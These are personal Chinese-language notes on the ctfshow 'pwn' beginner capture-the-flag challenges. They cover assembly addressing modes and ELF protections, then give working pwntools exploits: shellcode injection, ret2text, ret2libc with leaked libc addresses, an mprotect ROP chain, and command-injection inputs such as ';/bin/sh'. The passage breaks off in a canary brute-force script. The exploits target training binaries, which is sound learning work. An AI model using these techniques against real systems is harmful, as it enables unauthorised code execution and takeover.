致谢

  • 感谢所有参考文献作者的文章,感谢sq学长的帮助

pwn入门

Test_your_nc

pwn0【待】

alt text

  • 通过打开容器后获得命令,在finalshell通过手动输入信息成功ssh连上
  • 注意:虚拟机开启NAT模式才能连上,更改模式后重启才生效
    alt text
  • pwd指令查看当前目录
  • ls发现当前目录下没东西
  • cd /回到上一级目录
  • ls发现当前目录下有文件ctfshow_flag
  • cat ctfshow_flag得到 flag

pwn1

  • chmod 777 pwn给附件加权限
  • checksec pwn查看附件信息,64 位
    alt text
  • wp要ida看但其实试运行一遍还有题目都提示nc链接,容器给的命令直接复制黏贴就好了
    alt text

pwn2

  • 加权限-查信息-运行-nc连接-shell输入代码
  • system(bin/sh)就是给shell??

pwn4

alt text

  • 反编译程序理解-shell获得

前置基础

pwn5

  • 题目:
    • 运行此文件,将得到的字符串以ctfshow{xxxxx}提交。
    • 如:运行文件后 输出的内容为 Hello_World
    • 提交的flag值为:ctfshow{Hello_World}
    • 注:计组原理题型后续的flag中地址字母大写
  • 。。我能说我shift+F12出来了吗

下载附件在虚拟机打开
chmod 777 Welcome_to_CTFshow给附件加权限
checksec Welcome_to_CTFshow查看附件信息,32 位,小端
./Welcome_to_CTFshow运行附件,其中%是换行标识
则 flag 为<font style=\”color:rgb(33, 37, 41);\”>ctfshow{Welcome_to_CTFshow_PWN}
还是再来 ida 里分析一下附件,F5反编译程序
系统调用输出 dword_80490E8 地址后的 0x16 个字节,即 22 个字符,点进该地址继续观察,该地址下是十六进制数据 636c6557 ,右键选择(或光标放在该数据上按 R)可以转化为字符串形式,即为 cleW
由于是小端序,0x636c6557的低位 0x57 先输出接着是 0x65………
所以输出为 Welc
再接上后面的内容正好 22 字符

  • 复刻

alt text

alt text

  • void __noreturn start(): 这行定义了一个函数 start(),它没有参数,并且声明为不返回任何值。函数名前的 void 表示函数不返回任何值,__noreturn 是一个函数属性,表示该函数不会返回,因此编译器不会生成函数返回的代码。
  • int v0; // eax 和 int v1; // eax: 这两行声明了两个整型变量 v0 和 v1,它们用来存储系统调用的返回值。
  • v0 = sys_write(1, &dword_80490E8, 0x16u);: 这行调用了 sys_write 系统调用,用于将数据写入文件描述符为 1 的文件(标准输出)。第一个参数 1 表示标准输出文件描述符,第二个参数 &dword_80490E8 是一个字符串的地址,第三个参数 0x16u 表示要写入的字符数量(22个字符)。sys_write 的返回值(成功写入的字符数)被存储在变量 v0 中。
  • v1 = sys_exit(0);: 这行调用了 sys_exit 系统调用,用于退出程序。参数 0 表示程序正常退出。sys_exit 函数不会返回,但是在一些编译器中,需要将其返回值存储在一个变量中。这里将其存储在变量 v1 中,但实际上并没有使用这个返回值。
  • 我双击的是\x16,应该是因为默认把数据变字符串了,如果没自动变也可以用A快捷键
  • dd后为小端序,但db后是字符串
    • dd (Define Double-word):把 4 个字节当作“一个整体”
      • 类型 :它定义的是一个 32位整数 (Integer) 。
      • 受端序影响 :是。
    • db (Define Byte):把数据当作“一串独立的字节”
      • 类型 :它定义的是 字节数组 (Array of Bytes) 或 字符串 。
      • 受端序影响 : 否 。

pwn6

  • 立即寻址方式结束后eax寄存器的值为?
  • asm文件是汇编文件,可以直接用记事本查看内容
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

pwn7

  • 寄存器寻址方式结束后edx寄存器的值为?
  • 知识点:寄存器寻址方式:指操作数直接为寄存器的寻址方式
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

pwn8

  • 直接寻址方式结束后ecx寄存器的值为?
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
  • ida看

alt text

  • 和网上wp的汇编代码略有不同
mov ecx, dword ptr aWelcomeToCtfsh
  • ai分析:
    • ecx :这是 目的地。 ecx 是一个 32 位的通用寄存器(Counter Register),这里被用作存放数据的容器。
    • dword ptr (Double Word Pointer) :这是 取多少数据 。
      • ptr 是指针的意思,指向内存中的某个位置。
      • dword (Double Word) 表示 4个字节 (32位)。
      • 合起来的意思是: “请去内存里抓取 4 个字节的数据” 。
    • aWelcomeToCtfsh :这是源地址 。
      • 这只是 IDA Pro 给内存地址起的一个 名字(标签) ,为了让你好记。
      • 它代表了字符串 “Welcome_to_CTFshow_PWN” 在内存中存放的 起始地址 。

pwn9

  • 寄存器间接寻址方式结束后eax寄存器的值为?
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
  • 加了方括号,是告诉处理器要从寄存器 esi 指向的地址中读取数据,因此,这行代码的作用是将 esi 所指向的地址中的数据加载到 eax 寄存器中。
  • 知识点:寄存器间接寻址:在寄存器间接寻址中,操作数存放在内存里,而寄存器中存储的是该操作数在内存中的地址,寄存器间接寻址是把这个寄存器中存着的操作数赋值给现在这个第二寄存器
  • 豆包:offset dword_80490E8 就是获取变量 dword_80490E8 的偏移地址,在 32 位系统中这个偏移地址就是该变量的实际内存地址。
  • esi存储的是这个地址,然后寄存器间接寻址把这个地址的内容0x636C6557拿出来给 eax 了

alt text

  1. 取消定义(Undefine) :
    • 按下键盘上的 U 键。
    • 这会把当前定义的数据“炸碎”,变成一堆原始的字节(通常显示为 db 且只有单个字节)。
  2. 重新定义为双字(Make Dword) :
    • 确保光标还在 080490E8 这个起始位置。
    • 按下键盘上的 D 键。
    • 按第一次,它可能变成 db (byte)。
    • 按第二次,变成 dw (word)。
    • 按第三次 ,它就会变成 dd (dword) 。
      此时,原本显示的 ‘Welc’ 就会变成十六进制数值 636C6557h
  3. 重新回到 ‘Welc’:A

pwn10

  • 寄存器相对寻址方式结束后eax寄存器的值为?
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

alt text

  • ???这回不用Uddd是因为类型是db吗【对】

pwn11

  • 基址变址寻址方式结束后的eax寄存器的值为?
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

alt text

  • 答案和上题一样

pwn12

  • 相对基址变址寻址方式结束后eax寄存器的值为?
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

alt text

内存寻址方式:确定访问内存存储单元偏移地址的方式称为寻址方式。

  • 直接寻址:[偏移地址]
  • 寄存器间接寻址:[基址寄存器/变址寄存器]
  • 寄存器相对寻址:[基址寄存器/变址寄存器+偏移量值]
  • 基址变址寻址:[基址寄存器+变址寄存器]
  • 相对基址变址寻址:[基址寄存器+变址寄存器+偏移量值]

pwn13

alt text

pwn14

  • 直接搞太麻烦了丢虚拟机用gcc
echo "CTFshow">key
gcc flag.c -o flag
./flag

pwn15

  • 编译汇编代码到可执行文件,即可拿到flag
nasm -f elf32 XXX.asm -o XXX.o
ld -m elf_i386 XXX.o -o XXX
gdb XXX
run

pwn16

  • 后缀为.s的文件通常表示它是汇编语言源文件
gcc -o flag flag.s
chmod 777 flag
./flag

alt text

  • 搞不明白为啥有个乱码【待】

pwn17

  • 有些命令好像有点不一样?
  • 不要一直等,可能那样永远也等不到flag
  • 超级奇怪我的显示根目录和所有搜到的wp都不一样

alt text

  • 放弃,记录下方法好了
  • 可以看见只有选项“ls”中存在代码漏洞 system 的参数 dest 可控,我们输入 /bin/sh 就可以获得交互式 shell
  • system(dest); 函数会将 dest 所代表的字符串作为系统命令来执行。当用户输入 /bin/sh 时,/bin/sh 会被拼接到 dest 中,然后 system 函数就会执行 /bin/sh 这条命令。在大多数 Unix 或类 Unix 系统中,/bin/sh 是默认的 shell 解释器,执行它就相当于启动了一个 shell 环境,从而让用户获得了交互式 shell,可以执行各种系统命令

直接 cat flag 文件
;cat ctfshow_flag 发现进入死循环,可能是因为输入太长溢出导致的
改为;cat ctf*其中*是通配符,文件名符合这个形式的都会被执行
得到 flag
;/bin/sh拿 shell 权限,再查看 flag
同样得到 flag

alt text

pwn18

alt text
alt text

pwn19

  • 查看伪代码,意思是建立了一个fork函数,只要输出不是0即执行if中语句
  • 但是输入nc函数后给我了一个shell,这表明直接就跳到了else语句中
  • 即fork函数初始值为0
  • 知识点:fork函数:fork系统调用用于创建一个新进程,称为子进程,它与进程(称为系统调用fork的进程)同时运行,此进程称为父进程。创建新的子进程后,两个进程将执行fork()系统调用之后的下一条指令。这是一种类似分支派生的概念,它们都运行到相同的地方,但每个进程都将可以开始它们自己的旅程。
  • fclose(_bss_start);表明关闭了输出流,与题目吻合
  • 先输入/bin/sh进入到那个shell里
  • 应该输出流被关闭了,所以要想办法绕过这个输出流
ls >&0
cat c* >&0
  • 通过重定向符>&0可以将命令的输出从默认的 stdout(文件描述符 1)重定向到标准输入 0。
  • 终端设备的双向性:
  • 在终端环境中,文件描述符 0(标准输入)、1(标准输出)、2(标准错误)均指向同一个终端设备。虽然 stdout 被关闭,但终端设备本身支持读写,因此通过 >&0 将输出写入文件描述符 0 时,仍能显示在终端上。
  • 此时输入ls >&0可以展开所有的目录文件
  • cat c* >&0:匹配所有以 c 开头的文件(如 catflag),将其内容输出到终端,于是ctfshow答案直接被显示出来了

pwn20

  • 题目:
    • 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
    • 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
    • 最终flag为ctfshow{1_1_0x400820_0x8208820}
    • 若某个表不存在,则无需写其对应地址
    • 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
  • 知识点:
    • .got
      • GOT(Global Offset Table)全局偏移表。这是链接器为外部符号填充的实际偏移表。
    • .plt
      • PLT(Procedure Linkage Table)程序链接表。作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的.got.plt的对应的地址。它有两个功能,要么在.got.plt节中拿到地址,并跳转。要么当.got.plt没有所需地址的时候,触发链接器去找到所需的地址。
    • .got.plt
      • 这个是GOT专门为PLT准备的节。保存了重定位地址。.got.plt中的值是GOT的一部分。它包含上述PLT表所需地址(已经找到的和需要去触发的)。
    • .got和.got.plt是否可写与RELRO(ReLocation Read-Only, 是一种用于加强对 binary 数据段的保护的技术。)有关,这是linux系统下可执行文件的一种保护机制,它用于增强程序的安全性,特别是针对共享库的攻击。RELRO机制通过将部分ELF段标记为只读,防止攻击者利用全局偏移表(GOT)和过程链接表(PLT)进行攻击。规定如下:
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。
  • readelf -S pwn

alt text

  • objdump -h pwn

alt text

  • ida:

alt text

  • checksec查看:

alt text
alt text

pwn21

  • 题目:
    • 提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
    • 例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
    • 最终flag为ctfshow{1_1_0x400820_0x8208820}
    • 若某个表不存在,则无需写其对应地址
    • 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
  • No canary found

alt text
alt text

pwn22

alt text
alt text

pwn23

alt text

  • 如果./pwn AAAAA
    • argv (Argument Vector) :是一个字符串数组,存放具体的参数内容
      • argv[0] = “./pwn” (程序名)
      • argv[1] = “AAAAA” (你输入的参数)
    • argc = 2:表示命令行参数的总个数

alt text
alt text

  • 这里将我们传进来的参数又复制给了变量dest
  • dest 空间是有限的,但是 strcpy 没有被限制长度,只要dest 中放不下参数src,也就是我们运行程序时后面跟的参数够长,就会造成缓冲区溢出,从而导致非法内存访问,既11错误
  • 于是执行下面代码

alt text

pwn24

  • 你可以使用pwntools的shellcraft模块来进行攻击
  • Hint : NX disabled & Has RWX segments

alt text

  • 可以看到多出了一个 RWX: Has RWX segments
  • 这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限
from pwn import *  # 导入 pwntools 库中的所有函数和类
context.log_level = 'debug' # 设置 pwntools 的日志级别为调试模式
# p = process('./pwn') # 本地连接
p = remote('pwn.challenge.ctf.show', 28234) # 远程连接
payload = asm(shellcraft.sh()) # 使用 pwntools 的 shellcraft 模块生成一个 shellcode,并使用 asm 函数将其汇编成二进制指令
p.sendline(payload) # 发送 payload 到远程连接
p.interactive() # 与远程连接进行交互
  • 拿到shell
  • ida分析:

alt text

pwn25

  • 开启NX保护,或许可以试试ret2libc
  • NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行

alt text

  • 好像说这题需要知识有点多我后面再来做
  • 来了来了嘿嘿嘿

alt text

  • 噢所以是开启NX保护,动态,所以可以试试ret2libc

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28264)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x88 + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x88 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
  • 和pwn45一模一样。。。

pwn26

栈溢出

pwn35

  • pwn23一模一样

pwn36

  • 存在后门函数,如何利用?

alt text
alt text

  • 后门地址:08048586

alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28291)
padding=0x28+4
backdoor=0x08048586
payload=b"a"*padding+p32(backdoor)
io.send(payload)
io.interactive()

alt text

pwn37

  • 32位的 system(“/bin/sh”) 后门函数给你

alt text
alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28200)
padding=0x12+4
backdoor=0x08048521
payload=b"a"*padding+p32(backdoor)
io.send(payload)
io.interactive()

alt text

pwn38

  • 64位的 system(“/bin/sh”) 后门函数给你

alt text

alt text
alt text

  • 一种方法
    alt text
from pwn import *
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28229)
padding=0xA+8
backdoor=0x400658
payload=b"a"*padding+p64(backdoor)
io.send(payload)
io.interactive()
  • 另一种:多搞一个ret返回地址
    • 纯 ret,不改变任何寄存器,只抬 rsp,最安全
      alt text
    • call命令
      alt text
      alt text
from pwn import *
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28229)
padding=0xA+8
backdoor=0x400657
ret=0x40066D
payload=b"a"*padding+p64(ret)+p64(backdoor)
io.send(payload)
io.interactive()

pwn39

  • 32位的 system(); “/bin/sh”

alt text

alt text

alt text
alt text
alt text

  • 注意这里才是system地址

alt text

  • system:080483A0
  • /bin/sh:08048750

alt text

  • 0x12+4
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28223)
padding=0x12+4
system_addr=0x080483A0
binsh=0x08048750
payload=b"a"*padding+p32(system_addr)+p32(0)+p32(binsh)
io.send(payload)
io.interactive()

pwn40

  • 好久之前做的,但当时仅复刻wp罢了
    • 参考1参考2;参考3:sq-wp
    • 注意:exp.py有基于容器修改点(好蠢的笔记但保留下哈哈哈哈哈)
from pwn import *
context.log_level = 'debug'
p = remote('152.32.191.198', 33778) # 容器域名+端口
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
p.sendline(payload)
p.interactive()
  • 按顺序做到这里了哈哈哈哈开心
  • 题目:64位的 system(); “/bin/sh”

alt text

alt text

  • 找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28294)
padding=0xA+8
systemaddr=0x0400520
pop_rdi=0x004007e3
ret=0x004004fe
binsh=0x0400808
payload=b"a"*padding+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(systemaddr)
io.send(payload)
io.interactive()

pwn41+42

  • 32/64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

alt text

  • 环境给了的

pwn43

  • 32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

alt text
alt text
alt text
alt text

  • 栈溢出
  • padding=0x6C+4
  • get_addr=08048420

alt text

  • 反正就是x加上shift+F12一通乱找找到_system在左边的就是
  • system=0x08048450

alt text

  • ret=0x080483f2

alt text

gdb pwn43
break main
run
vmmap

alt text

  • 只看file是文件pwn的,0x804b000-c000可写

alt text
alt text

  • buf2=0804B060
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28299)

padding=0x6C+4
get_addr=0x08048420
system=0x08048450
buf2=0x0804B060

payload=b"a"*padding+p32(get_addr)+p32(system)+p32(buf2)+p32(buf2)
# 这边先构造栈溢出,溢出之后马上返回gets函数的地址,然后当gets函数执行完之后会返回到system函数
# 后边俩buf2的地址,前一个是告诉gets,写到这边
# 后一个是告诉system,读这个
io.sendline(payload)
io.sendline("/bin/sh") # 给gets的东西
io.interactive()

pwn44

  • 64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

alt text
alt text

  • 所以NX→找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

  • pop_rdi=0x00000000004007f3
  • ret=0x00000000004004fe

alt text

  • padding=0xA+8

alt text

  • system=0x00400520

alt text

  • get=0x00400530

alt text
alt text

  • buf2=0x00602080
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28302)

padding=0xA+8
get=0x00400530
system=0x00400520
buf2=0x00602080
pop_rdi=0x00000000004007f3
ret=0x00000000004004fe

payload=b"a"*padding+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(get)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)

io.sendline(payload)
io.sendline("/bin/sh") # 给gets的东西
io.interactive()

pwn45

  • 32位 无 system 无 “/bin/sh”

alt text

  • 开启 NX 保护,部分开启 RELRO 保护
  • 没有system没有/bin/sh的时候就要puts泄露libc
  • 得到puts的实际地址只需要两样东西:puts_plt和puts_got

当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来

from pwn import *
from LibcSearcher import *
# LibcSearcher 用于根据泄露的 libc 地址自动匹配 libc 版本
p = remote("pwn.challenge.ctf.show",28151)
elf = ELF("./pwn")# 加载本地二进制文件 pwn,用于获取符号地址

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# 第一次 payload:泄露 libc 地址
payload = cyclic(0x6B + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
# 0x4 是覆盖旧的ebp
p.sendline(payload)

puts = u32(p.recvuntil("\xf7")[-4:])
# 接收输出,提取 puts 的 libc 地址。
# "\xf7" 是 libc 地址的高字节(典型 libc 地址以 0xf7 开头)。
# [-4:] 取最后 4 字节,即 puts 的地址(因为内存地址小端序储存)

libc = LibcSearcher("puts",puts)
# 根据泄露的 puts 地址,自动匹配 libc 版本

libc_base = puts - libc.dump("puts")
# 计算 libc 基址。
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 根据偏移计算 system 和 /bin/sh 字符串的地址。
# 第二次 payload:执行 system("/bin/sh")
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(4) + p32(binsh)
# cyclic(4):填充返回地址(system 的返回地址,随便填)
p.sendline(payload)
p.interactive()
# 进入交互模式,获取 shell

pwn46

  • 64位 无 system 无 “/bin/sh”

alt text

  • ROPgadget --binary "pwn" --only "pop|ret"

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28205)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding = 0x70+8

rdi = 0x0000000000400803
ret = 0x00000000004004fe


payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
# 调用 puts(puts_got),打印出 puts 的实际地址
# 返回 main,以便第二次溢出
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
# 接收输出,提取泄露的 puts 地址(\x7f 是 libc 地址的高字节标志)。
libc = LibcSearcher("puts",puts)
# 使用 LibcSearcher 根据 puts 地址查找对应的 libc 版本
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 计算 libc 基址 → 推出 system 和 /bin/sh 字符串地址。

payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# 设置 rdi = "/bin/sh" → 调用 system("/bin/sh")
p.sendline(payload)
p.interactive()
  • LibcSearcher 找到了多个匹配的 libc 版本,需要手动选择
    alt text

pwn47

  • ez ret2libc
  • 保护

alt text

from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28177)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x9C + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x9C + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
  • 和pwn45无区别,就是多给了bin/sh,只要把脚本端口和padding改下就好

pwn48

  • 没有write了,试试用puts吧,更简单了呢

和上一题除了溢出大小就是一模一样…

  • 噢有点好笑

pwn49

  • 静态编译?或许你可以找找mprotect函数
  • 动态/静态编译判断:
    • ida
      • shift+F11
      • imports 超多 libc 函数 → 动态
      • imports 几乎为空 → 静态
    • file
      • statically linked:静态
      • dynamically linked + interpreter /lib/ld-linux.so.2:动态
    • checksec(本质上是通过一些检测机制来判断是否存在某种保护,这个检测机制有些时候是会有误报的)

alt text

  • ida里按shift+F7(可能9.0后换版本所以和大佬的不大一样)

alt text

alt text
alt text

  • padding=0x12+4
修改权限

又知道这一题让我们用mprotect(主要是一个拿来改保护属性的函数),既然能构造栈溢出了,那么mprotect可以给我们可写可读可执行的(7)能力,我们就能直接打shellcode了
先搜一下这个函数
alt text

  • mprotect=0x0806CDD0

三个参数分别对应开头地址、长度、修改的保护属性数字(0-7)
ctrl+s调出程序的段表

  • 又和大佬快捷键不一样:在 IDA 里你贴出来的窗口是 “Segments”(段)窗口,打开它的快捷键是:Shift + F7
  • 前面哪道题用过来着
    alt text

选择.got.plt作为更改的程序
因为这个.got.plt在程序加载时的地址是固定的(静态链接时确定)。攻击者可以提前知道目标函数(如 printf)的 GOT 条目在内存中的确切位置,这比在堆栈上寻找动态变化的地址要容易得多。
同时我们劫持 .got.plt后,不需要复杂的操作来触发执行流转向。你只需要等待程序正常地调用被你覆盖的那个库函数,劫持就会自动发生。
以这个会作为mprotect的第一个参数地址,got_plt=0x080DA000
然后长度我们写个0x1000,保证能写即可
最后保护属性当然是0x7了
这边注意我们要传三个参数,必须用一下pop寄存器,否则执行完这个函数会直接回到栈顶,无法读取三个参数
alt text
alt text

ROPgadget --binary pwn --only "pop|ret" | grep "pop edi ; pop esi ; pop ebx ; ret"
>>> 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
读写执行

我们选一个read函数
read函数也是三个参数,所以需要再次调用pop那仨
read的三个参数分别代表着fd、buf、size
alt text
read地址:0x0806BEE0
pop地址:0x08056194
fd直接0读取就行
buf得是刚刚写的地方0x80DA000(.got.plt)
size就是大小,无所谓随便填大点就是了

于是我们可以构造payload:

  • 首先栈溢出、然后跳到mprotect的位置,接下来返回pop三个寄存器,然后把三个参数填入,成功修改0x80DA000地址的保护属性,可以写了
  • 然后我们去读取一下这个地方的内容,直接read,pop然后三个参数fd、buf,size,最后返回buf的地方
  • 现在程序会读这个地了,我们就需要构造shellcode传进去了
  • 这反而是最简单的一步了,我们只需要直接shellcode=asm(shellcraft.sh())就完事了
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io=remote("pwn.challenge.ctf.show",28121)

padding=0x12+4
mprotect_addr=0x0806CDD0
pop_3=0x008061C3B
got_plt=0x080DA000
size=0x1000
prot=0x7

read_addr=0x0806BEE0
fd=0

shellcode=asm(shellcraft.sh())
#生成一个 32位 Linux 下的 shellcode,执行 /bin/sh
payload =b"a"*padding+p32(mprotect_addr)+p32(pop_3)+p32(got_plt)+p32(size)+p32(prot)
payload+=p32(read_addr)+p32(pop_3)+p32(fd)+p32(got_plt)+p32(size)+p32(got_plt)
#调用 read(0, got_plt, 0x1000),从标准输入读取 shellcode 到 .got.plt。
#pop_3 再次清理参数。
#最后一个 p32(got_plt) 是 read 返回后要跳转的地址,即 shellcode 的入口。
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

pwn50

  • 好像哪里不一样了
  • 远程libc环境 Ubuntu 18

alt text
alt text

  • 回顾一下:NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
  • 所以NX→找pop_rdi:
ROPgadget --binary "pwn" --only "pop|ret"

alt text

  • pop_rdi=0x00000000004007e3
  • ret=0x00000000004004fe

alt text

  • 动态,可以用libc

alt text

  • padding = 0x20+8
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28115)
elf = ELF("./pwn")

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding = 0x20+8

rdi=0x00000000004007e3
ret=0x00000000004004fe


payload = b"a"*padding + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
# 调用 puts(puts_got),打印出 puts 的实际地址
# 返回 main,以便第二次溢出
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
# 接收输出,提取泄露的 puts 地址(\x7f 是 libc 地址的高字节标志)。
libc = LibcSearcher("puts",puts)
# 使用 LibcSearcher 根据 puts 地址查找对应的 libc 版本
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
# 计算 libc 基址 → 推出 system 和 /bin/sh 字符串地址。

payload = b"a"*padding + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# 设置 rdi = "/bin/sh" → 调用 system("/bin/sh")
p.sendline(payload)
p.interactive()

alt text

  • 太搞笑了我是虚拟机成功不了,本机可以

pwn51

  • I‘m IronMan
  • nc pwn.challenge.ctf.show 28170

alt text
alt text

  • 有意思

alt text

  • padding=0x6c+4

alt text

  • system=0x08048DC0
  • 找错了!!!

alt text

  • 字符串搜flag
  • 因为是system+cat…所以不能是平常_system的位置
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28170)
system=0x0804902E
padding=0x6c+4
payload=b"I"*padding+p32(system)

io.sendline(payload)
io.interactive()

pwn52

  • 迎面走来的flag让我如此蠢蠢欲动

alt text
alt text

  • padding=0x6C+4

alt text
alt text

  • flag=0x08048586
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28266)

padding=0x6C+4
flag_addr=0x08048586

payload=b"a"*padding+p32(flag_addr)+p32(0)+p32(876)+p32(877)
# p32(0)返回地址
io.sendline(payload)
io.interactive()

pwn53

  • 再多一眼看一眼就会爆炸

alt text

  • 动态+NX

  • 学习一下:

  • memcmp() 是 C 标准库中的一个函数,用于比较两个内存块的前 n 个字节。它的声明如下:
    int memcmp(const void *str1, const void *str2, size_t n);
  • 参数:
    • str1:指向第一个内存块的指针。
    • str2:指向第二个内存块的指针。
    • n:要比较的字节数。
  • 返回值:
    • 如果返回值 < 0,则表示 str1 小于 str2。
    • 如果返回值 > 0,则表示 str1 大于 str2。
    • 如果返回值 = 0,则表示 str1 等于 str2。

alt text

虽然没有开canary但是本题在ida打开看见他是模拟了canary的效果,不同的是他的是固定的canary,但是一样要爆破

  • 4u是 C 语言中的整数字面量写法,表示:值为 4 的 unsigned int 类型常量

  • 比较4字节,不同就返回!=0从而exit(1):立即终止当前进程,并把退出码设为-1

  • 源码分析:

    • s1 = global_canary;先把原始 canary 备份到局部变量s1
      | - while (n31 <= 31)最多读 31 个字节(留 1 字节给字符串结尾的 \0 或提前遇到 \n),31 来自 v2 只有 32 字节大,留一个字节兜底
    • read(0, (char *)v2 + n31, 1u);一次只读 1 字节,存到 v2 + n31
      • 第一个参数 0 → STDIN_FILENO:标准输入(键盘/管道/重定向)
      • 第三个参数是 1 → 只读 1 字节
    • if (*((char *)v2 + n31) == '\n') break;遇到回车就结束循环
    • __isoc99_sscanf(v2, "%d", &nbytes);把刚才攒在 v2 里的字符串按 %d 解析成整数,写进 nbytes
      • 第一个实参是 v2 → 源字符串
      • 格式串 “%d” → 十进制整数
    • read函数的漏洞栈溢出read(0, buf, nbytes);
      • 一次读 nbytes 字节,直接写进 buf
      • 如果前面输入的数字 >32,就能溢出到 v2nbytess1 甚至 canary、ret addr

在ctfshow函数我们发现v5=0,那么我们只要不输入回车(acii:10)可以一直往数组里面写入数据,然后它会把v2变成无符号形整数,
作为读入到buf的无符号类型的字节长度,那么我们可以输入-1来进行绕过,之后就是一直循环爆破canary了exp如下

alt text

from pwn import *
p = remote("pwn.challenge.ctf.show",28299)

canary = b''
for i in range(4):
